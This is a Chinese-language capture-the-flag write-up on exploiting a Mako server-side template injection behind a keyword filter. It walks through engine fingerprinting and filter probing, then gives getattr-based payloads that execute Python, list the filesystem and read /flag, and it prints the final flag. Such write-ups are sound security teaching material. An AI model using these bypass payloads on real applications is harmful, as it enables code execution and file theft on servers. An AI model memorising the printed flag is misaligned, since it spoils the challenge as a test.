先打开首页看了一眼,页面很干净,只有一个 tpl 输入框,表单直接 POST /,下面有一个 回显 区域。这个布局基本已经把方向写明了,就是要往模板里塞东西看服务端怎么渲染。

第一步先做模板指纹识别,直接扔几组最常见的语法进去:

text
{{7*7}}${7*7}<%= 7*7 %>[[7*7]]

回显很有意思:

  • {{7*7}} 原样输出,没有执行。
  • ${7*7} 直接返回 WAF
  • <%= 7*7 %> 返回 WAF
  • [[7*7]] 也返回 WAF

这一步至少说明两件事:

  • 不是上来就能打的 Jinja2。
  • 服务端前面挂了一个比较粗暴的关键字/字符过滤。

然后继续看响应头,能看到 Server: gunicorn,这至少说明后端大概率是 Python 栈。基于这一点,我继续试探更像 Python 模板引擎的语法。

直接单独提交一个 %,结果回显:

text
[渲染异常] SyntaxException: Invalid control line: '' at line: 1 char: 1

这个报错一下子就很像 Mako 了,因为 Mako 的控制行本来就是 % if ...% for ... 这种形式。为了确认,直接上一个最简单的循环:

text
% for i in range(3):hi% endfor

页面输出了三行 hi,说明判断没错,就是 Mako SSTI,而且 % ... 控制行是能正常执行的。

接着要做的就是摸 WAF 规则。这里不用一下子想 payload,先看哪些字符本身就会触发拦截。测下来最关键的几个点是:

  • ${...} 会被拦。
  • [] 会被拦。
  • . 会被拦。
  • 字面量 flag 也会被拦。

这几个限制加起来,其实就是不想让人舒服地写对象访问和读文件。比如正常情况下很自然会写:

python
${open('/flag').read()}

但这里这条路完全走不通,因为:

  • ${...} 先死。
  • .read() 里的点也会死。
  • /flag 里的 flag 还是会死。

既然表达式输出通道 ${...} 被封了,就换一个思路,直接用代码块写回响应。Mako 的 <% ... %> 代码块还能执行,测试 payload 如下:

text
<% getattr(context,'write')('OK') %>

回显成功变成了:

text
OK

这一步很关键,后面其实就已经不是“能不能 RCE”了,而是“怎么在黑名单下把想看的内容拼出来并写回页面”。

这里用 getattr(context,'write') 也是为了顺手绕过点号过滤。本来会写成 context.write('OK'),但 . 被拦,所以直接换成 getattr

确认有输出通道之后,先看文件系统里有什么,payload 写成:

text
<%! import os %><% getattr(context,'write')(str(getattr(os,'listdir')('/'))) %>

回显里能看到这些关键路径:

text
['root', 'proc', 'boot', 'mnt', 'opt', 'etc', 'media', 'home', 'sys', 'usr', 'lib', 'lib64', 'bin', 'dev', 'sbin', 'srv', 'run', 'tmp', 'var', 'app', 'flag', 'docker-entrypoint.sh']

这里直接就看见了 /flag,基本不用再绕远路了。

最后就是把读文件这一步写成不会触发 WAF 的形式。思路分三层:

  1. 不用 ${...},改用 <% ... %>
  2. 不用 .read(),改成 getattr(...,'read')()
  3. 不直接写 /flag,改成 '/f'+'lag'

最终 payload:

text
<% getattr(context,'write')(str(getattr(open('/f'+'lag'),'read')())) %>

提交后页面直接回显了 flag。

回头看这题,核心其实就两步:

  • 先从 % 报错和控制行执行把模板引擎锁到 Mako。
  • 再用 getattr(context,'write') 拿到不依赖 ${...} 和点号的输出能力。

剩下的就是黑名单绕过,题目本身没有再藏别的东西。

FLAG

flag
flag{stpas4m0-dqtq-4pz-81le-lukkhdsp8entf}